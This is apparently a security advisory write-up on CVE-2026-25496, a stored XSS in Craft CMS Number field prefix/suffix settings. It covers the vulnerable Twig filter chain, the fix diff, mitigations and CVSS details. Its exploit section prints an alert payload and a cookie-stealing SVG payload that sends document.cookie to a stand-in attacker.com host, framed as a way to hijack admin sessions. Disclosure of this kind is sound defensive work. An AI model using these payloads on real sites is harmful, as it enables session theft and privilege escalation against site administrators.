CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25496
4.80.04%

Crafty Injections: Stored XSS in Craft CMS Number Fields

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 9, 2026·6 min read·10 visits

PoC Available

Executive Summary (TL;DR)

Improper output encoding in Craft CMS Number fields allows Stored XSS. Specifically, the prefix and suffix settings are parsed as Markdown without HTML encoding, allowing raw script injection. Fixed in 4.16.18 and 5.8.22.

A classic case of 'trusted input' going rogue, CVE-2026-25496 is a Stored Cross-Site Scripting (XSS) vulnerability lurking within the unsuspecting 'Number' field settings of Craft CMS. By neglecting to sanitize HTML tags when parsing Markdown in field prefixes and suffixes, the system allows administrators with schema permissions to plant persistent JavaScript payloads that execute whenever the field is rendered.

The Hook: When Boring Fields Turn Dangerous

In the world of web exploitation, we often hunt for the complex, the obscure, or the blatantly negligent. But sometimes, the most effective bugs hide in the most mundane features. Enter the Number Field in Craft CMS. It’s the kind of feature you gloss over—it holds prices, quantities, or maybe a year. It’s data. It’s boring.

However, Craft CMS is known for its flexibility. When defining a Number field, an administrator can define a Prefix (like $) or a Suffix (like kg). To make things 'pretty', the developers allowed these little text snippets to be parsed as Markdown. Do you really need bold text in your currency symbol? Probably not. But feature creep is a security researcher's best friend.

The vulnerability here isn't in the number itself; it's in the decoration around it. Because the application assumed that administrators defining schema structure were trustworthy (and that Markdown parsers would behave), it opened a door. If you can control the schema, you can control the browser of anyone who interacts with that data.

The Flaw: The Deadly Combination of |md and |raw

Let's talk about Twig, the templating engine powering Craft CMS. Twig is generally secure by default because it automatically escapes output. If you try to print <script>, Twig prints &lt;script&gt;. Safe, boring, effective. To bypass this, developers use the |raw filter. This is essentially telling the compiler: "Trust me, I know what I'm doing, just dump the data."

The vulnerability stems from a specific chain of filters used in src/templates/_components/fieldtypes/Number/input.twig. The code took the user-defined prefix/suffix and ran it through a Markdown filter (|md) and then immediately piped it to |raw.

Here is the logic error: Markdown, by design, supports inline HTML. If you write <b>Hello</b> in Markdown, it renders as bold text. If you write <script>alert(1)</script>, a standard Markdown parser often treats it as valid HTML and passes it through. The developers used the |md filter to render the formatting but failed to tell the parser to encode HTML tags before rendering. The |raw filter at the end of the chain then stripped away Twig's last line of defense, serving the attacker's payload on a silver platter.

The Code: Anatomy of a Fix

The fix is subtle but critical. It highlights the difference between "rendering markdown" and "rendering safe markdown".

Below is the diff from commit cb5fb0e979e72f315c9178fc031883d49527f513. Notice that the developers didn't remove the feature; they just tightened the leash on the Markdown parser.

--- a/src/templates/_components/fieldtypes/Number/input.twig
+++ b/src/templates/_components/fieldtypes/Number/input.twig
@@ -25,7 +25,7 @@
 <div class="flex">
     {% if hasPrefix %}
         <div aria-hidden="true">
-            {{ prefix|t('site')|md(inlineOnly=true)|raw }}
+            {{ prefix|t('site')|md(inlineOnly=true,encode=true)|raw }}
         </div>
     {% endif %}

The Smoking Gun: The original code md(inlineOnly=true) told the parser "don't make block-level elements like paragraphs," but it didn't say "stop HTML tags."

The Patch: The addition of encode=true forces the Markdown parser to HTML-encode the input string before parsing it. If an attacker inputs <script>, it becomes &lt;script&gt; before the Markdown logic touches it. The |raw filter allows the generated HTML (like <strong> from **bold**) to pass, but the malicious injection is neutralized.

The Exploit: Persistent Pwnage

While this vulnerability requires high privileges (Admin), do not underestimate its utility for persistence or lateral movement within a team. If you have compromised a lower-level admin account with schema permissions, you can use this to trap the Super Admin.

Step 1: The Setup Log in as an administrator. Navigate to Settings > Fields. Create a new field of type Number (or edit an existing one that is widely used, like 'Price').

Step 2: The Injection Locate the "Prefix Text" setting. This is where we inject our payload. A simple PoC might look like this:

"><img src=x onerror=alert('XSS_By_Prefix')>

Or, for a more stealthy approach using SVG (which often bypasses simple filters):

<svg/onload=fetch('//attacker.com?c='+document.cookie)>

Step 3: The Trap Save the field. The database now stores this string.

Step 4: The Trigger Wait. You don't need to do anything else. As soon as any other administrator (or potentially a frontend user if these fields are exposed in a specific way) views an entry that utilizes this number field, the browser renders the prefix. The |md filter parses it, the |raw filter outputs it, and the browser executes it. You now have their session cookies.

The Impact: Why Admin XSS Matters

A common rebuttal to vulnerabilities like this is: "But you need to be an Admin to exploit it! If you're an Admin, you already own the site!"

Not necessarily. In modern CMS environments, "Admin" is rarely a binary state. You have content editors, site managers, and developers.

  1. Privilege Escalation: An attacker with 'Settings' access can target a 'Super Admin' to gain full shell access via template editing or plugin installation.
  2. Persistence: Even if the attacker loses their original credentials, the backdoored field remains. The moment a legitimate admin logs in to check the content, the attacker regains access.
  3. Wormability: If the field is rendered on a frontend profile page (e.g., a user salary field), this could become a self-propagating worm affecting all users.

The Fix: Closing the Window

The remediation is straightforward: Update.

Patched Versions:

  • Craft CMS 4.x: 4.16.18
  • Craft CMS 5.x: 5.8.22

If you cannot update immediately, you can mitigate the risk by adhering to Craft CMS best practices:

  1. Disable Admin Changes in Production: Set allowAdminChanges to false in your config/general.php. This prevents anyone (even admins) from modifying field settings in the production environment, effectively closing the vector unless the attacker can modify the codebase/project config files directly.
  2. CSP (Content Security Policy): Implement a strict CSP that disallows inline scripts (script-src 'self'). This won't fix the bug, but it will prevent the browser from executing the payload.

Official Patches

Craft CMSGitHub Commit fixing the issue
Craft CMSChangelog for version 5.8.22

Fix Analysis (1)

Technical Appendix

CVSS Score
4.8/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Craft CMS 4.x < 4.16.18Craft CMS 5.x < 5.8.22

Affected Versions Detail

Product
Affected Versions
Fixed Version
Craft CMS
Pixel & Tonic
>= 4.0.0-RC1, < 4.16.184.16.18
Craft CMS
Pixel & Tonic
>= 5.0.0-RC1, < 5.8.225.8.22
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v4.04.8 (Medium)
Privileges RequiredHigh (Admin)
ImpactStored XSS / Session Hijacking
Vulnerable ComponentNumber Field Settings (Prefix/Suffix)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552Unsecured Credentials
Credential Access
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

ManualInjection of HTML tags into Number Field Prefix/Suffix configuration.

Vulnerability Timeline

Fix committed to GitHub repository
2026-01-06
Vulnerability publicly disclosed
2026-02-09
Patched versions 4.16.18 and 5.8.22 released
2026-02-09

References & Sources

  • [1]GHSA-9f5h-mmq6-2x78 Advisory
  • [2]CWE-79: Cross-site Scripting

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.